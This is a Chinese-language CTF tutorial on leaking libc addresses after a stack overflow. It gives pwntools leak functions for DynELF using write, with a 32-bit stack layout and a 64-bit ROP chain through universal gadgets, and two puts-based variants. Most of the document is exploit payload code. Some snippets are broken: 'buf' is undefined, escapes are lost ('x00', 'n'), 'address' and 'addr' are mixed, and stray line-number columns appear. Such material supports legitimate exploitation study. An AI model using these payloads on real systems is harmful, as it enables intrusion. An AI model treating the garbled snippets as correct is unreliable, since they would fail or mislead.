通过栈溢出获取libc地址汇总

一、使用LibcSearch

二、使用DynELF来泄露:

1.使用write函数

三个参数布局

★32位程序:直接在栈上给出参数

直接让write返回到start函数初始化程序(多用于栈溢出字节数较少)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

def leak(addr):
#io.recv(),看具体情况是否要先接收
payload = ''
payload += 'A'*n #padding
payload += p32(write_addr) #调用write
payload += p32(start_addr) #write返回到start,恢复栈
payload += p32(1) #write第一个参数fd
payload += p32(addr) #write第二个参数buf
payload += p32(8) #write第三个参数size
io.sendline(payload)
data = io.recv()[:8] #接受内容读取通过write打印的地址
print("%#x -> %s" %(addr, (data or '').encode('hex')))
#这里打印不需要也可以,只是可以打印出来让我们看到write打印了什么地 址,基本都打印了
return data
#这里return的data有很多地址,需要通过之后的DynELF来lookup对应的 地址

★64位程序:利用万能gadget来赋予参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

def leak(addr):
#print p.recv(),看具体情况是否要先接收
payload = "A" * 24
payload += p64(pop6_addr) #万能gadget1
payload += p64(0)
payload += p64(1)
payload += p64(write_got_addr) #注意这里不能用plt表
payload += p64(8)
payload += p64(addr)
payload += p64(1)#write的参数fd,1代表stdout标准输出
payload += p64(mov_call_addr) #万能gadget2
payload += "A" * 56
#padding过掉万能gadget2的判断语句,接上万能gadget1,用来填充栈
payload += p64(startAddress)#跳转start,恢复栈
p.send(payload)
data = p.recv(4)
print ("%#x => %s" % (address, (data or '').encode('hex'))
return data

2.使用put函数:

一个参数布局

puts函数比较好调用,32位下直接在栈上布局就好,64位下用一个pop rdi就完事。

puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“\x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将”\n”追加到输出字符串的末尾,所以这里就需要针对leak函数做特殊处理。但结束不太好判断,如果只用\n来判断,那么如果需要泄露的地址最后两个字节中的有效位中带有\n(0x0a),那同样会截断,导致无法完全输出。所以这里用\n和timeout来判断,当结束字符\n出现,并且设置超时机制,出现结束字符并且没有东西再输出了,那就代表是真的结束了。由于是一个字节一个字节处理,所以如果puts函数输出完后还有其它的输出,那么就没办法知道0x0a到底是put输出的还是之后的输出函数输出的,这里主要讨论在这两种情况:

(这里也是因为TCP握手原因,TCP传输是以字节为单位进行编码传输的)

★puts输出完后没有其它输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待0.1秒钟,如果确实接收不到 了,就说明输出结束了
#这里为了不与标志字符串结束的回车符(0x0A)混淆,所以有两个判断条件。这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
c = p.recv(numb=1, timeout=0.1)
count += 1
if up == '\n' and c == "":
#接收到的上一个字符为回车符,而当前接收不到新字符,则
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

★puts输出完后还有其它输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了
#不与标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == 'n' and c == "X":
#接收到的上一个字符为回车符,下一个字符开头是X,那就结束输出。
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #从put输出开头取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data

▲使用printf函数:没找到具体点的,但应该和puts函数差不多,以后遇到再说。已知:

遇到\x00和\x0a会截断,然后打印的时候不会打印\x00和\x0a

三、重要注意事项:

注意程序的输入函数是什么,有些题的输入函数是scanf,那么就不支持读入空格,换行符,制表符,转换成ascii码就是:0x20,0x0a,0x09,0x00,所以当传数据的时候有这些的时候需要注意。更多查资料或者调试。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://www.anquanke.com/post/id/85129